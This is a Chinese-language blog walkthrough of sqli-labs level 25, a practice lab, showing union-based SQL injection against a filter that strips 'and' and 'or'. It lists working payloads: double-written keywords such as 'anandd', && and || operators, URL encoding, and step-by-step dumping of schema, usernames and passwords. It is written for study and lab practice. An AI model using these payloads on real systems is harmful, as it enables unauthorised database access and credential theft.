主页 > 创业  > 

sqli-labs关卡25(基于get提交的过滤and和or的联合注入)


文章目录 前言一、回顾上一关知识点二、靶场第二十五关通关思路1、判断注入点2、爆字段个数3、爆显位位置4、爆数据库名5、爆数据库表名6、爆数据库列名7、爆数据库数据 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾上一关知识点

上一关是过滤了注释符,导致单引号不能被过滤掉而闭合,得通过构造and '1'='1 和or '1'='1在payload后面才能成功把多余的单引号闭合。这一关是过滤了and和or,让我们看看如何绕过。

二、靶场第二十五关通关思路 1、判断注入点2、爆字段个数3、爆显位位置4、爆数据库名5、爆数据库表名6、爆数据库列名7、爆数据库数据 1、判断注入点

打开二十五关,发现是get提交的注入类型,老规矩用万能语句and 1=1和 and 1=2测试,发现回显正常,还发现语句返回页面的时候and被过滤了,这里说明这一关是过滤掉and和or了.( 如图所示) 为了进一步猜想是不是过滤了and和or我们看看源码,发现and和or被替换为空了(如图所示) 这里我们有三种方法绕过and, 第一种是双写and 因为它把and替换为空,而且只过滤一次。如果是anandd的话经过后端过滤应该变成and。 第二种是利用逻辑运算符 and对应的机器语言是&&,or对应的是|| 第三种是用url编码 and对应的机器语言是&&,若&&无法绕过,可以试着利用&的url编码绕过,&&url编码为%26%26。当然&&能绕过更好。 绕过的方法有很多这里不多举例,这里我用双写绕过。 最终发现是单引号闭合,payload为(如图所示)

id=1' anandd 1=1--+ id=1' anandd 1=2--+

2、爆字段个数

发现4的时候报错,说明只有三个字段 payload为

id=1' oorrder by 4--+

3、爆显位位置

payload为

id=1' union select 1,2,3--+

4、爆数据库名

payload为

id=-1' union select 1,user(),database()--+

5、爆数据库表名

payload为

id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

6、爆数据库列名

payload为

id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name="users"--+

7、爆数据库数据

payload为

id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users --+


总结

这一关是过滤了and和or,过滤的方法很多,有双写、url编码、&&绕过等等。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

标签:

sqli-labs关卡25(基于get提交的过滤and和or的联合注入)由讯客互联创业栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“sqli-labs关卡25(基于get提交的过滤and和or的联合注入)

上一篇
easyExsel导出

下一篇
Kafka框架详解